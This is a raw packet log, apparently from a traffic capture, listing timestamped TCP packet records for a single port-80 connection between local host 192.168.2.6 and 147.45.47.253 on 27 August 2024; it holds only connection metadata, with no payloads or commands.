Aug 27, 2024 20:12:00.949909925 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.949918985 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.949939966 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.949950933 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.949961901 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.949970007 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.949973106 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.949984074 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.949989080 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.949995041 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.950022936 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.950022936 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.950036049 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.950046062 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.950047970 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.950057983 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.950062990 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.950083017 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.950083017 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.950110912 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.950128078 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.023138046 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.023194075 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.023205042 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.023293972 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.023305893 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.023317099 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.023319006 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.023384094 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.023399115 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.023408890 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.023446083 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.023469925 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.030580997 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.030632019 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.030641079 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.030649900 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.030673027 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.030689001 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.030749083 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.030760050 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.030771017 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.030782938 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.030803919 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.030834913 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.030853033 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.030880928 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.030896902 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.030925035 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.030988932 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.030994892 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.031004906 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.031012058 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.031045914 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.031070948 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.031140089 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.031150103 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.031177998 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.031188011 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.031215906 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.031300068 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.031308889 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.031318903 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.031330109 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.031342983 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.031354904 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.031378984 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.031438112 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.031481028 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.031568050 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.031579971 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.031590939 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.031601906 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.031615019 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.031620026 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.031629086 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.031656981 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.031670094 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.031814098 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.031825066 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.031835079 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.031864882 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.031884909 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.031945944 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.031956911 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.031966925 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.031991959 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.032006025 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.032016039 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.032018900 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.032031059 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.032042980 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.032052994 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.032054901 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.032074928 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.032104015 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.032365084 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.032411098 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.032553911 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.032565117 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.032576084 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.032588005 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.032604933 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.032634020 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.032797098 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.032808065 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.032818079 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.032830000 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.032840967 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.032851934 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.032856941 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.032865047 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.032876015 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.032876015 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.032893896 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.032922983 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.033083916 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.033135891 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.033210039 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.033224106 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.033233881 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.033246040 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.033252954 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.033266068 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.033298969 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.052476883 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.052531958 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.052544117 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.052556038 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.052588940 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.052649975 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.052661896 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.052673101 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.052700043 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.052711010 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.052902937 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.052913904 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.052926064 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.052961111 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.052985907 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.053044081 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.053060055 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.053093910 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.053100109 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.053106070 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.053117990 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.053123951 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.053128958 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.053142071 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.053155899 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.053162098 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.053191900 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.053214073 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.054203987 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.054215908 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.054227114 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.054238081 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.054265022 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.054282904 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.054320097 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.054332018 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.054343939 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.054356098 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.054363012 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.054367065 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.054378986 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.054392099 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.054394960 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.054404020 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.054424047 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.054439068 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.055126905 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.055139065 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.055150032 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.055160999 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.055171967 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.055181026 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.055182934 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.055195093 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.055205107 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.055206060 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.055217981 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.055219889 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.055233002 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.055243015 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.055244923 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.055254936 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.055259943 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.055269957 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.055320978 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.055320978 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.055877924 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.055887938 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.055900097 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.055912018 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.055923939 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.055934906 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.055936098 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.055948019 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.055958033 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.055963039 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.055969954 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.055986881 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.056030989 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.118122101 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.118153095 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.118164062 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.118184090 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.118187904 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.118195057 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.118206978 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.118218899 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.118220091 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.118268013 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.118413925 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.118465900 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.119977951 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.120028019 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.120038033 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.120054960 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.120076895 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.120089054 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.120165110 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.120177031 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.120187998 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.120201111 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.120218992 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.120232105 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.120261908 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.120500088 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.120511055 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.120522022 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.120532990 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.120549917 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.120551109 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.120563030 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.120572090 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.120573044 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.120584965 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.120606899 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.120616913 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.120937109 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.120948076 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.120958090 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.120978117 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.120984077 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.120990038 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.121001005 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.121014118 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.121014118 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.121025085 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.121037006 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.121040106 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.121057987 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.121084929 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.121584892 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.121596098 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.121607065 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.121618986 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.121630907 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.121637106 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.121645927 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.121658087 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.121665955 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.121674061 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.121685028 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.121689081 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.121716022 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.121722937 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.122200012 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.122211933 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.122220993 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.122230053 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.122241020 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.122250080 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.122251034 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.122261047 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.122272015 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.122272968 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.122283936 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.122294903 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.122298956 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.122307062 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.122315884 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.122318983 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.122329950 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.122332096 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.122340918 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.122351885 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.122369051 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.122395992 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.123146057 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.123157978 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.123179913 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.123193979 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.123203039 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.123224020 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.123245001 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.123246908 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.123255968 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.123265982 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.123276949 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.123287916 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.123290062 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.123297930 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.123307943 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.123318911 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.123320103 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.123331070 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.123337030 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.123342991 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.123353004 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.123353958 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.123380899 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.123404980 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.123975039 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.123986006 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.123996973 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.124007940 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.124022961 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.124028921 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.124036074 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.124046087 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.124056101 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.124058008 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.124068975 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.124074936 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.124082088 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.124093056 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.124094009 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.124106884 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.124113083 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.124138117 CEST	49710	80	192.168.2.6	147.45.47.253
